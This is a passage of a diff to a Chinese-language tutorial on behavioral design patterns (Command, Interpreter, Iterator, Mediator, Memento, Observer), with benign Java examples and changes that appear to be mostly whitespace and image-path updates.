-- 使用命令来参数化其它对象
-- 将命令放入队列中进行排队
-- 将命令的操作记录到日志中
-- 支持可撤销的操作
+- 使用命令来参数化其它对象
+- 将命令放入队列中进行排队
+- 将命令的操作记录到日志中
+- 支持可撤销的操作
 
-### Class Diagram
+### Class Diagram
 
-- Command：命令
-- Receiver：命令接收者，也就是命令真正的执行者
-- Invoker：通过它来调用命令
-- Client：可以设置命令与命令的接收者
+- Command：命令
+- Receiver：命令接收者，也就是命令真正的执行者
+- Invoker：通过它来调用命令
+- Client：可以设置命令与命令的接收者
 
-<div align="center"> <img src="pics/ae1b27b8-bc13-42e7-ac12-a2242e125499.png"/> </div><br>
+![](index_files/ae1b27b8-bc13-42e7-ac12-a2242e125499.png)
 
-### Implementation
+### Implementation
 
 设计一个遥控器，可以控制电灯开关。
 
-<div align="center"> <img src="pics/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg"/> </div><br>
+![](index_files/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg)
 
 ```java
-public interface Command {
-    void execute();
+public interface Command {
+    void execute();
 }
 ```
 
 ```java
-public class LightOnCommand implements Command {
-    Light light;
+public class LightOnCommand implements Command {
+    Light light;
 
-    public LightOnCommand(Light light) {
-        this.light = light;
-    }
+    public LightOnCommand(Light light) {
+        this.light = light;
+    }
 
-    @Override
-    public void execute() {
-        light.on();
-    }
+    @Override
+    public void execute() {
+        light.on();
+    }
 }
 ```
 
 ```java
-public class LightOffCommand implements Command {
-    Light light;
+public class LightOffCommand implements Command {
+    Light light;
 
-    public LightOffCommand(Light light) {
-        this.light = light;
-    }
+    public LightOffCommand(Light light) {
+        this.light = light;
+    }
 
-    @Override
-    public void execute() {
-        light.off();
-    }
+    @Override
+    public void execute() {
+        light.off();
+    }
 }
 ```
 
 ```java
-public class Light {
+public class Light {
 
-    public void on() {
-        System.out.println("Light is on!");
-    }
+    public void on() {
+        System.out.println("Light is on!");
+    }
 
-    public void off() {
-        System.out.println("Light is off!");
-    }
+    public void off() {
+        System.out.println("Light is off!");
+    }
 }
 ```
 
 ```java
 /**
- * 遥控器
- */
-public class Invoker {
-    private Command[] onCommands;
-    private Command[] offCommands;
-    private final int slotNum = 7;
+ * 遥控器
+ */
+public class Invoker {
+    private Command[] onCommands;
+    private Command[] offCommands;
+    private final int slotNum = 7;
 
-    public Invoker() {
-        this.onCommands = new Command[slotNum];
-        this.offCommands = new Command[slotNum];
-    }
+    public Invoker() {
+        this.onCommands = new Command[slotNum];
+        this.offCommands = new Command[slotNum];
+    }
 
-    public void setOnCommand(Command command, int slot) {
-        onCommands[slot] = command;
-    }
+    public void setOnCommand(Command command, int slot) {
+        onCommands[slot] = command;
+    }
 
-    public void setOffCommand(Command command, int slot) {
-        offCommands[slot] = command;
-    }
+    public void setOffCommand(Command command, int slot) {
+        offCommands[slot] = command;
+    }
 
-    public void onButtonWasPushed(int slot) {
-        onCommands[slot].execute();
-    }
+    public void onButtonWasPushed(int slot) {
+        onCommands[slot].execute();
+    }
 
-    public void offButtonWasPushed(int slot) {
-        offCommands[slot].execute();
-    }
+    public void offButtonWasPushed(int slot) {
+        offCommands[slot].execute();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Invoker invoker = new Invoker();
-        Light light = new Light();
-        Command lightOnCommand = new LightOnCommand(light);
-        Command lightOffCommand = new LightOffCommand(light);
-        invoker.setOnCommand(lightOnCommand, 0);
-        invoker.setOffCommand(lightOffCommand, 0);
-        invoker.onButtonWasPushed(0);
-        invoker.offButtonWasPushed(0);
-    }
+public class Client {
+    public static void main(String[] args) {
+        Invoker invoker = new Invoker();
+        Light light = new Light();
+        Command lightOnCommand = new LightOnCommand(light);
+        Command lightOffCommand = new LightOffCommand(light);
+        invoker.setOnCommand(lightOnCommand, 0);
+        invoker.setOffCommand(lightOffCommand, 0);
+        invoker.onButtonWasPushed(0);
+        invoker.offButtonWasPushed(0);
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.lang.Runnable](http://docs.oracle.com/javase/8/docs/api/java/lang/Runnable.html)
-- [Netflix Hystrix](https://github.com/Netflix/Hystrix/wiki)
-- [javax.swing.Action](http://docs.oracle.com/javase/8/docs/api/javax/swing/Action.html)
+- [java.lang.Runnable](http://docs.oracle.com/javase/8/docs/api/java/lang/Runnable.html)
+- [Netflix Hystrix](https://github.com/Netflix/Hystrix/wiki)
+- [javax.swing.Action](http://docs.oracle.com/javase/8/docs/api/javax/swing/Action.html)
 
-## 3. 解释器（Interpreter）
+## 3. 解释器（Interpreter）
 
-### Intent
+### Intent
 
 为语言创建解释器，通常由语言的语法和语法分析来定义。
 
-### Class Diagram
+### Class Diagram
 
-- TerminalExpression：终结符表达式，每个终结符都需要一个 TerminalExpression。
-- Context：上下文，包含解释器之外的一些全局信息。
+- TerminalExpression：终结符表达式，每个终结符都需要一个 TerminalExpression。
+- Context：上下文，包含解释器之外的一些全局信息。
 
-<div align="center"> <img src="pics/794239e3-4baf-4aad-92df-f02f59b2a6fe.png"/> </div><br>
+![](index_files/794239e3-4baf-4aad-92df-f02f59b2a6fe.png)
 
-### Implementation
+### Implementation
 
-以下是一个规则检验器实现，具有 and 和 or 规则，通过规则可以构建一颗解析树，用来检验一个文本是否满足解析树定义的规则。
+以下是一个规则检验器实现，具有 and 和 or 规则，通过规则可以构建一颗解析树，用来检验一个文本是否满足解析树定义的规则。
 
-例如一颗解析树为 D And (A Or (B C))，文本 "D A" 满足该解析树定义的规则。
+例如一颗解析树为 D And (A Or (B C))，文本 "D A" 满足该解析树定义的规则。
 
-这里的 Context 指的是 String。
+这里的 Context 指的是 String。
 
 ```java
-public abstract class Expression {
-    public abstract boolean interpret(String str);
+public abstract class Expression {
+    public abstract boolean interpret(String str);
 }
 ```
 
 ```java
-public class TerminalExpression extends Expression {
+public class TerminalExpression extends Expression {
 
-    private String literal = null;
+    private String literal = null;
 
-    public TerminalExpression(String str) {
-        literal = str;
-    }
+    public TerminalExpression(String str) {
+        literal = str;
+    }
 
-    public boolean interpret(String str) {
-        StringTokenizer st = new StringTokenizer(str);
-        while (st.hasMoreTokens()) {
-            String test = st.nextToken();
-            if (test.equals(literal)) {
-                return true;
-            }
-        }
-        return false;
-    }
+    public boolean interpret(String str) {
+        StringTokenizer st = new StringTokenizer(str);
+        while (st.hasMoreTokens()) {
+            String test = st.nextToken();
+            if (test.equals(literal)) {
+                return true;
+            }
+        }
+        return false;
+    }
 }
 ```
 
 ```java
-public class AndExpression extends Expression {
+public class AndExpression extends Expression {
 
-    private Expression expression1 = null;
-    private Expression expression2 = null;
+    private Expression expression1 = null;
+    private Expression expression2 = null;
 
-    public AndExpression(Expression expression1, Expression expression2) {
-        this.expression1 = expression1;
-        this.expression2 = expression2;
-    }
+    public AndExpression(Expression expression1, Expression expression2) {
+        this.expression1 = expression1;
+        this.expression2 = expression2;
+    }
 
-    public boolean interpret(String str) {
-        return expression1.interpret(str) && expression2.interpret(str);
-    }
+    public boolean interpret(String str) {
+        return expression1.interpret(str) && expression2.interpret(str);
+    }
 }
 ```
 
 ```java
-public class OrExpression extends Expression {
-    private Expression expression1 = null;
-    private Expression expression2 = null;
+public class OrExpression extends Expression {
+    private Expression expression1 = null;
+    private Expression expression2 = null;
 
-    public OrExpression(Expression expression1, Expression expression2) {
-        this.expression1 = expression1;
-        this.expression2 = expression2;
-    }
+    public OrExpression(Expression expression1, Expression expression2) {
+        this.expression1 = expression1;
+        this.expression2 = expression2;
+    }
 
-    public boolean interpret(String str) {
-        return expression1.interpret(str) || expression2.interpret(str);
-    }
+    public boolean interpret(String str) {
+        return expression1.interpret(str) || expression2.interpret(str);
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    /**
-     * 构建解析树
-     */
-    public static Expression buildInterpreterTree() {
-        // Literal
-        Expression terminal1 = new TerminalExpression("A");
-        Expression terminal2 = new TerminalExpression("B");
-        Expression terminal3 = new TerminalExpression("C");
-        Expression terminal4 = new TerminalExpression("D");
-        // B C
-        Expression alternation1 = new OrExpression(terminal2, terminal3);
-        // A Or (B C)
-        Expression alternation2 = new OrExpression(terminal1, alternation1);
-        // D And (A Or (B C))
-        return new AndExpression(terminal4, alternation2);
-    }
+    /**
+     * 构建解析树
+     */
+    public static Expression buildInterpreterTree() {
+        // Literal
+        Expression terminal1 = new TerminalExpression("A");
+        Expression terminal2 = new TerminalExpression("B");
+        Expression terminal3 = new TerminalExpression("C");
+        Expression terminal4 = new TerminalExpression("D");
+        // B C
+        Expression alternation1 = new OrExpression(terminal2, terminal3);
+        // A Or (B C)
+        Expression alternation2 = new OrExpression(terminal1, alternation1);
+        // D And (A Or (B C))
+        return new AndExpression(terminal4, alternation2);
+    }
 
-    public static void main(String[] args) {
-        Expression define = buildInterpreterTree();
-        String context1 = "D A";
-        String context2 = "A B";
-        System.out.println(define.interpret(context1));
-        System.out.println(define.interpret(context2));
-    }
+    public static void main(String[] args) {
+        Expression define = buildInterpreterTree();
+        String context1 = "D A";
+        String context2 = "A B";
+        System.out.println(define.interpret(context1));
+        System.out.println(define.interpret(context2));
+    }
 }
 ```
 
@@ -1009,254 +974,254 @@ true
 false
 ```
 
-### JDK
+### JDK
 
-- [java.util.Pattern](http://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html)
-- [java.text.Normalizer](http://docs.oracle.com/javase/8/docs/api/java/text/Normalizer.html)
-- All subclasses of [java.text.Format](http://docs.oracle.com/javase/8/docs/api/java/text/Format.html)
-- [javax.el.ELResolver](http://docs.oracle.com/javaee/7/api/javax/el/ELResolver.html)
+- [java.util.Pattern](http://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html)
+- [java.text.Normalizer](http://docs.oracle.com/javase/8/docs/api/java/text/Normalizer.html)
+- All subclasses of [java.text.Format](http://docs.oracle.com/javase/8/docs/api/java/text/Format.html)
+- [javax.el.ELResolver](http://docs.oracle.com/javaee/7/api/javax/el/ELResolver.html)
 
-## 4. 迭代器（Iterator）
+## 4. 迭代器（Iterator）
 
-### Intent
+### Intent
 
 提供一种顺序访问聚合对象元素的方法，并且不暴露聚合对象的内部表示。
 
-### Class Diagram
+### Class Diagram
 
-- Aggregate 是聚合类，其中 createIterator() 方法可以产生一个 Iterator；
-- Iterator 主要定义了 hasNext() 和 next() 方法。
-- Client 组合了 Aggregate，为了迭代遍历 Aggregate，也需要组合 Iterator。
+- Aggregate 是聚合类，其中 createIterator() 方法可以产生一个 Iterator；
+- Iterator 主要定义了 hasNext() 和 next() 方法。
+- Client 组合了 Aggregate，为了迭代遍历 Aggregate，也需要组合 Iterator。
 
-<div align="center"> <img src="pics/b0f61ac2-a4b6-4042-9cf0-ccf4238c1ff7.png"/> </div><br>
+![](index_files/b0f61ac2-a4b6-4042-9cf0-ccf4238c1ff7.png)
 
-### Implementation
+### Implementation
 
 ```java
-public interface Aggregate {
-    Iterator createIterator();
+public interface Aggregate {
+    Iterator createIterator();
 }
 ```
 
 ```java
-public class ConcreteAggregate implements Aggregate {
+public class ConcreteAggregate implements Aggregate {
 
-    private Integer[] items;
+    private Integer[] items;
 
-    public ConcreteAggregate() {
-        items = new Integer[10];
-        for (int i = 0; i < items.length; i++) {
-            items[i] = i;
-        }
-    }
+    public ConcreteAggregate() {
+        items = new Integer[10];
+        for (int i = 0; i < items.length; i++) {
+            items[i] = i;
+        }
+    }
 
-    @Override
-    public Iterator createIterator() {
-        return new ConcreteIterator<Integer>(items);
-    }
+    @Override
+    public Iterator createIterator() {
+        return new ConcreteIterator<Integer>(items);
+    }
 }
 ```
 
 ```java
-public interface Iterator<Item> {
+public interface Iterator<Item> {
 
-    Item next();
+    Item next();
 
-    boolean hasNext();
+    boolean hasNext();
 }
 ```
 
 ```java
-public class ConcreteIterator<Item> implements Iterator {
+public class ConcreteIterator<Item> implements Iterator {
 
-    private Item[] items;
-    private int position = 0;
+    private Item[] items;
+    private int position = 0;
 
-    public ConcreteIterator(Item[] items) {
-        this.items = items;
-    }
+    public ConcreteIterator(Item[] items) {
+        this.items = items;
+    }
 
-    @Override
-    public Object next() {
-        return items[position++];
-    }
+    @Override
+    public Object next() {
+        return items[position++];
+    }
 
-    @Override
-    public boolean hasNext() {
-        return position < items.length;
-    }
+    @Override
+    public boolean hasNext() {
+        return position < items.length;
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        Aggregate aggregate = new ConcreteAggregate();
-        Iterator<Integer> iterator = aggregate.createIterator();
-        while (iterator.hasNext()) {
-            System.out.println(iterator.next());
-        }
-    }
+    public static void main(String[] args) {
+        Aggregate aggregate = new ConcreteAggregate();
+        Iterator<Integer> iterator = aggregate.createIterator();
+        while (iterator.hasNext()) {
+            System.out.println(iterator.next());
+        }
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.util.Iterator](http://docs.oracle.com/javase/8/docs/api/java/util/Iterator.html)
-- [java.util.Enumeration](http://docs.oracle.com/javase/8/docs/api/java/util/Enumeration.html)
+- [java.util.Iterator](http://docs.oracle.com/javase/8/docs/api/java/util/Iterator.html)
+- [java.util.Enumeration](http://docs.oracle.com/javase/8/docs/api/java/util/Enumeration.html)
 
-## 5. 中介者（Mediator）
+## 5. 中介者（Mediator）
 
-### Intent
+### Intent
 
 集中相关对象之间复杂的沟通和控制方式。
 
-### Class Diagram
+### Class Diagram
 
-- Mediator：中介者，定义一个接口用于与各同事（Colleague）对象通信。
-- Colleague：同事，相关对象
+- Mediator：中介者，定义一个接口用于与各同事（Colleague）对象通信。
+- Colleague：同事，相关对象
 
-<div align="center"> <img src="pics/d0afdd23-c9a5-4d1c-9b3d-404bff3bd0d1.png"/> </div><br>
+![](index_files/d0afdd23-c9a5-4d1c-9b3d-404bff3bd0d1.png)
 
-### Implementation
+### Implementation
 
 Alarm（闹钟）、CoffeePot（咖啡壶）、Calendar（日历）、Sprinkler（喷头）是一组相关的对象，在某个对象的事件产生时需要去操作其它对象，形成了下面这种依赖结构：
 
-<div align="center"> <img src="pics/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg"/> </div><br>
+![](index_files/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg)
 
 使用中介者模式可以将复杂的依赖结构变成星形结构：
 
-<div align="center"> <img src="pics/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg"/> </div><br>
+![](index_files/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg)
 
 ```java
-public abstract class Colleague {
-    public abstract void onEvent(Mediator mediator);
+public abstract class Colleague {
+    public abstract void onEvent(Mediator mediator);
 }
 ```
 
 ```java
-public class Alarm extends Colleague {
+public class Alarm extends Colleague {
 
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("alarm");
-    }
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("alarm");
+    }
 
-    public void doAlarm() {
-        System.out.println("doAlarm()");
-    }
+    public void doAlarm() {
+        System.out.println("doAlarm()");
+    }
 }
 ```
 
 ```java
-public class CoffeePot extends Colleague {
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("coffeePot");
-    }
+public class CoffeePot extends Colleague {
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("coffeePot");
+    }
 
-    public void doCoffeePot() {
-        System.out.println("doCoffeePot()");
-    }
+    public void doCoffeePot() {
+        System.out.println("doCoffeePot()");
+    }
 }
 ```
 
 ```java
-public class Calender extends Colleague {
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("calender");
-    }
+public class Calender extends Colleague {
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("calender");
+    }
 
-    public void doCalender() {
-        System.out.println("doCalender()");
-    }
+    public void doCalender() {
+        System.out.println("doCalender()");
+    }
 }
 ```
 
 ```java
-public class Sprinkler extends Colleague {
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("sprinkler");
-    }
+public class Sprinkler extends Colleague {
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("sprinkler");
+    }
 
-    public void doSprinkler() {
-        System.out.println("doSprinkler()");
-    }
+    public void doSprinkler() {
+        System.out.println("doSprinkler()");
+    }
 }
 ```
 
 ```java
-public abstract class Mediator {
-    public abstract void doEvent(String eventType);
+public abstract class Mediator {
+    public abstract void doEvent(String eventType);
 }
 ```
 
 ```java
-public class ConcreteMediator extends Mediator {
-    private Alarm alarm;
-    private CoffeePot coffeePot;
-    private Calender calender;
-    private Sprinkler sprinkler;
+public class ConcreteMediator extends Mediator {
+    private Alarm alarm;
+    private CoffeePot coffeePot;
+    private Calender calender;
+    private Sprinkler sprinkler;
 
-    public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) {
-        this.alarm = alarm;
-        this.coffeePot = coffeePot;
-        this.calender = calender;
-        this.sprinkler = sprinkler;
-    }
+    public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) {
+        this.alarm = alarm;
+        this.coffeePot = coffeePot;
+        this.calender = calender;
+        this.sprinkler = sprinkler;
+    }
 
-    @Override
-    public void doEvent(String eventType) {
-        switch (eventType) {
-            case "alarm":
-                doAlarmEvent();
-                break;
-            case "coffeePot":
-                doCoffeePotEvent();
-                break;
-            case "calender":
-                doCalenderEvent();
-                break;
-            default:
-                doSprinklerEvent();
-        }
-    }
+    @Override
+    public void doEvent(String eventType) {
+        switch (eventType) {
+            case "alarm":
+                doAlarmEvent();
+                break;
+            case "coffeePot":
+                doCoffeePotEvent();
+                break;
+            case "calender":
+                doCalenderEvent();
+                break;
+            default:
+                doSprinklerEvent();
+        }
+    }
 
-    public void doAlarmEvent() {
-        alarm.doAlarm();
-        coffeePot.doCoffeePot();
-        calender.doCalender();
-        sprinkler.doSprinkler();
-    }
+    public void doAlarmEvent() {
+        alarm.doAlarm();
+        coffeePot.doCoffeePot();
+        calender.doCalender();
+        sprinkler.doSprinkler();
+    }
 
-    public void doCoffeePotEvent() {
-        // ...
-    }
+    public void doCoffeePotEvent() {
+        // ...
+    }
 
-    public void doCalenderEvent() {
-        // ...
-    }
+    public void doCalenderEvent() {
+        // ...
+    }
 
-    public void doSprinklerEvent() {
-        // ...
-    }
+    public void doSprinklerEvent() {
+        // ...
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Alarm alarm = new Alarm();
-        CoffeePot coffeePot = new CoffeePot();
-        Calender calender = new Calender();
-        Sprinkler sprinkler = new Sprinkler();
-        Mediator mediator = new ConcreteMediator(alarm, coffeePot, calender, sprinkler);
-        // 闹钟事件到达，调用中介者就可以操作相关对象
-        alarm.onEvent(mediator);
-    }
+public class Client {
+    public static void main(String[] args) {
+        Alarm alarm = new Alarm();
+        CoffeePot coffeePot = new CoffeePot();
+        Calender calender = new Calender();
+        Sprinkler sprinkler = new Sprinkler();
+        Mediator mediator = new ConcreteMediator(alarm, coffeePot, calender, sprinkler);
+        // 闹钟事件到达，调用中介者就可以操作相关对象
+        alarm.onEvent(mediator);
+    }
 }
 ```
 
@@ -1267,178 +1232,178 @@ doCalender()
 doSprinkler()
 ```
 
-### JDK
+### JDK
 
-- All scheduleXXX() methods of [java.util.Timer](http://docs.oracle.com/javase/8/docs/api/java/util/Timer.html)
-- [java.util.concurrent.Executor#execute()](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executor.html#execute-java.lang.Runnable-)
-- submit() and invokeXXX() methods of [java.util.concurrent.ExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html)
-- scheduleXXX() methods of [java.util.concurrent.ScheduledExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledExecutorService.html)
-- [java.lang.reflect.Method#invoke()](http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html#invoke-java.lang.Object-java.lang.Object...-)
+- All scheduleXXX() methods of [java.util.Timer](http://docs.oracle.com/javase/8/docs/api/java/util/Timer.html)
+- [java.util.concurrent.Executor#execute()](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executor.html#execute-java.lang.Runnable-)
+- submit() and invokeXXX() methods of [java.util.concurrent.ExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html)
+- scheduleXXX() methods of [java.util.concurrent.ScheduledExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledExecutorService.html)
+- [java.lang.reflect.Method#invoke()](http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html#invoke-java.lang.Object-java.lang.Object...-)
 
-## 6. 备忘录（Memento）
+## 6. 备忘录（Memento）
 
-### Intent
+### Intent
 
 在不违反封装的情况下获得对象的内部状态，从而在需要时可以将对象恢复到最初状态。
 
-### Class Diagram
+### Class Diagram
 
-- Originator：原始对象
-- Caretaker：负责保存好备忘录
-- Menento：备忘录，存储原始对象的的状态。备忘录实际上有两个接口，一个是提供给 Caretaker 的窄接口：它只能将备忘录传递给其它对象；一个是提供给 Originator 的宽接口，允许它访问到先前状态所需的所有数据。理想情况是只允许 Originator 访问本备忘录的内部状态。
+- Originator：原始对象
+- Caretaker：负责保存好备忘录
+- Menento：备忘录，存储原始对象的的状态。备忘录实际上有两个接口，一个是提供给 Caretaker 的窄接口：它只能将备忘录传递给其它对象；一个是提供给 Originator 的宽接口，允许它访问到先前状态所需的所有数据。理想情况是只允许 Originator 访问本备忘录的内部状态。
 
-<div align="center"> <img src="pics/867e93eb-3161-4f39-b2d2-c0cd3788e194.png"/> </div><br>
+![](index_files/867e93eb-3161-4f39-b2d2-c0cd3788e194.png)
 
-### Implementation
+### Implementation
 
 以下实现了一个简单计算器程序，可以输入两个值，然后计算这两个值的和。备忘录模式允许将这两个值存储起来，然后在某个时刻用存储的状态进行恢复。
 
-实现参考：[Memento Pattern - Calculator Example - Java Sourcecode](https://www.oodesign.com/memento-pattern-calculator-example-java-sourcecode.html)
+实现参考：[Memento Pattern - Calculator Example - Java Sourcecode](https://www.oodesign.com/memento-pattern-calculator-example-java-sourcecode.html)
 
 ```java
 /**
- * Originator Interface
- */
-public interface Calculator {
+ * Originator Interface
+ */
+public interface Calculator {
 
-    // Create Memento
-    PreviousCalculationToCareTaker backupLastCalculation();
+    // Create Memento
+    PreviousCalculationToCareTaker backupLastCalculation();
 
-    // setMemento
-    void restorePreviousCalculation(PreviousCalculationToCareTaker memento);
+    // setMemento
+    void restorePreviousCalculation(PreviousCalculationToCareTaker memento);
 
-    int getCalculationResult();
+    int getCalculationResult();
 
-    void setFirstNumber(int firstNumber);
+    void setFirstNumber(int firstNumber);
 
-    void setSecondNumber(int secondNumber);
+    void setSecondNumber(int secondNumber);
 }
 ```
 
 ```java
 /**
- * Originator Implementation
- */
-public class CalculatorImp implements Calculator {
+ * Originator Implementation
+ */
+public class CalculatorImp implements Calculator {
 
-    private int firstNumber;
-    private int secondNumber;
+    private int firstNumber;
+    private int secondNumber;
 
-    @Override
-    public PreviousCalculationToCareTaker backupLastCalculation() {
-        // create a memento object used for restoring two numbers
-        return new PreviousCalculationImp(firstNumber, secondNumber);
-    }
+    @Override
+    public PreviousCalculationToCareTaker backupLastCalculation() {
+        // create a memento object used for restoring two numbers
+        return new PreviousCalculationImp(firstNumber, secondNumber);
+    }
 
-    @Override
-    public void restorePreviousCalculation(PreviousCalculationToCareTaker memento) {
-        this.firstNumber = ((PreviousCalculationToOriginator) memento).getFirstNumber();
-        this.secondNumber = ((PreviousCalculationToOriginator) memento).getSecondNumber();
-    }
+    @Override
+    public void restorePreviousCalculation(PreviousCalculationToCareTaker memento) {
+        this.firstNumber = ((PreviousCalculationToOriginator) memento).getFirstNumber();
+        this.secondNumber = ((PreviousCalculationToOriginator) memento).getSecondNumber();
+    }
 
-    @Override
-    public int getCalculationResult() {
-        // result is adding two numbers
-        return firstNumber + secondNumber;
-    }
+    @Override
+    public int getCalculationResult() {
+        // result is adding two numbers
+        return firstNumber + secondNumber;
+    }
 
-    @Override
-    public void setFirstNumber(int firstNumber) {
-        this.firstNumber = firstNumber;
-    }
+    @Override
+    public void setFirstNumber(int firstNumber) {
+        this.firstNumber = firstNumber;
+    }
 
-    @Override
-    public void setSecondNumber(int secondNumber) {
-        this.secondNumber = secondNumber;
-    }
+    @Override
+    public void setSecondNumber(int secondNumber) {
+        this.secondNumber = secondNumber;
+    }
 }
 ```
 
 ```java
 /**
- * Memento Interface to Originator
- *
- * This interface allows the originator to restore its state
- */
-public interface PreviousCalculationToOriginator {
-    int getFirstNumber();
-    int getSecondNumber();
+ * Memento Interface to Originator
+ *
+ * This interface allows the originator to restore its state
+ */
+public interface PreviousCalculationToOriginator {
+    int getFirstNumber();
+    int getSecondNumber();
 }
 ```
 
 ```java
 /**
- *  Memento interface to CalculatorOperator (Caretaker)
- */
-public interface PreviousCalculationToCareTaker {
-    // no operations permitted for the caretaker
+ *  Memento interface to CalculatorOperator (Caretaker)
+ */
+public interface PreviousCalculationToCareTaker {
+    // no operations permitted for the caretaker
 }
 ```
 
 ```java
 /**
- * Memento Object Implementation
- * <p>
- * Note that this object implements both interfaces to Originator and CareTaker
- */
-public class PreviousCalculationImp implements PreviousCalculationToCareTaker,
-        PreviousCalculationToOriginator {
+ * Memento Object Implementation
+ * <p>
+ * Note that this object implements both interfaces to Originator and CareTaker
+ */
+public class PreviousCalculationImp implements PreviousCalculationToCareTaker,
+        PreviousCalculationToOriginator {
 
-    private int firstNumber;
-    private int secondNumber;
+    private int firstNumber;
+    private int secondNumber;
 
-    public PreviousCalculationImp(int firstNumber, int secondNumber) {
-        this.firstNumber = firstNumber;
-        this.secondNumber = secondNumber;
-    }
+    public PreviousCalculationImp(int firstNumber, int secondNumber) {
+        this.firstNumber = firstNumber;
+        this.secondNumber = secondNumber;
+    }
 
-    @Override
-    public int getFirstNumber() {
-        return firstNumber;
-    }
+    @Override
+    public int getFirstNumber() {
+        return firstNumber;
+    }
 
-    @Override
-    public int getSecondNumber() {
-        return secondNumber;
-    }
+    @Override
+    public int getSecondNumber() {
+        return secondNumber;
+    }
 }
 ```
 
 ```java
 /**
- * CareTaker object
- */
-public class Client {
+ * CareTaker object
+ */
+public class Client {
 
-    public static void main(String[] args) {
-        // program starts
-        Calculator calculator = new CalculatorImp();
+    public static void main(String[] args) {
+        // program starts
+        Calculator calculator = new CalculatorImp();
 
-        // assume user enters two numbers
-        calculator.setFirstNumber(10);
-        calculator.setSecondNumber(100);
+        // assume user enters two numbers
+        calculator.setFirstNumber(10);
+        calculator.setSecondNumber(100);
 
-        // find result
-        System.out.println(calculator.getCalculationResult());
+        // find result
+        System.out.println(calculator.getCalculationResult());
 
-        // Store result of this calculation in case of error
-        PreviousCalculationToCareTaker memento = calculator.backupLastCalculation();
+        // Store result of this calculation in case of error
+        PreviousCalculationToCareTaker memento = calculator.backupLastCalculation();
 
-        // user enters a number
-        calculator.setFirstNumber(17);
+        // user enters a number
+        calculator.setFirstNumber(17);
 
-        // user enters a wrong second number and calculates result
-        calculator.setSecondNumber(-290);
+        // user enters a wrong second number and calculates result
+        calculator.setSecondNumber(-290);
 
-        // calculate result
-        System.out.println(calculator.getCalculationResult());
+        // calculate result
+        System.out.println(calculator.getCalculationResult());
 
-        // user hits CTRL + Z to undo last operation and see last result
-        calculator.restorePreviousCalculation(memento);
+        // user hits CTRL + Z to undo last operation and see last result
+        calculator.restorePreviousCalculation(memento);
 
-        // result restored
-        System.out.println(calculator.getCalculationResult());
-    }
+        // result restored
+        System.out.println(calculator.getCalculationResult());
+    }
 }
 ```
 
@@ -1448,523 +1413,523 @@ public class Client {
 110
 ```
 
-### JDK
+### JDK
 
-- java.io.Serializable
+- java.io.Serializable
 
-## 7. 观察者（Observer）
+## 7. 观察者（Observer）
 
-### Intent
+### Intent
 
 定义对象之间的一对多依赖，当一个对象状态改变时，它的所有依赖都会收到通知并且自动更新状态。
 
 主题（Subject）是被观察的对象，而其所有依赖者（Observer）称为观察者。
 
-<div align="center"> <img src="pics/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg" width="600"/> </div><br>
+<img src="index_files/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg" width="600"/>
 
-### Class Diagram
+### Class Diagram
 
 主题（Subject）具有注册和移除观察者、并通知所有观察者的功能，主题是通过维护一张观察者列表来实现这些操作的。
 
-观察者（Observer）的注册功能需要调用主题的 registerObserver() 方法。
+观察者（Observer）的注册功能需要调用主题的 registerObserver() 方法。
 
-<div align="center"> <img src="pics/0df5d84c-e7ca-4e3a-a688-bb8e68894467.png"/> </div><br>
+![](index_files/0df5d84c-e7ca-4e3a-a688-bb8e68894467.png)
 
-### Implementation
+### Implementation
 
 天气数据布告板会在天气信息发生改变时更新其内容，布告板有多个，并且在将来会继续增加。
 
-<div align="center"> <img src="pics/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg"/> </div><br>
+![](index_files/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg)
 
 ```java
-public interface Subject {
-    void registerObserver(Observer o);
+public interface Subject {
+    void registerObserver(Observer o);
 
-    void removeObserver(Observer o);
+    void removeObserver(Observer o);
 
-    void notifyObserver();
+    void notifyObserver();
 }
 ```
 
 ```java
-public class WeatherData implements Subject {
-    private List<Observer> observers;
-    private float temperature;
-    private float humidity;
-    private float pressure;
+public class WeatherData implements Subject {
+    private List<Observer> observers;
+    private float temperature;
+    private float humidity;
+    private float pressure;
 
-    public WeatherData() {
-        observers = new ArrayList<>();
-    }
+    public WeatherData() {
+        observers = new ArrayList<>();
+    }
 
-    public void setMeasurements(float temperature, float humidity, float pressure) {
-        this.temperature = temperature;
-        this.humidity = humidity;
-        this.pressure = pressure;
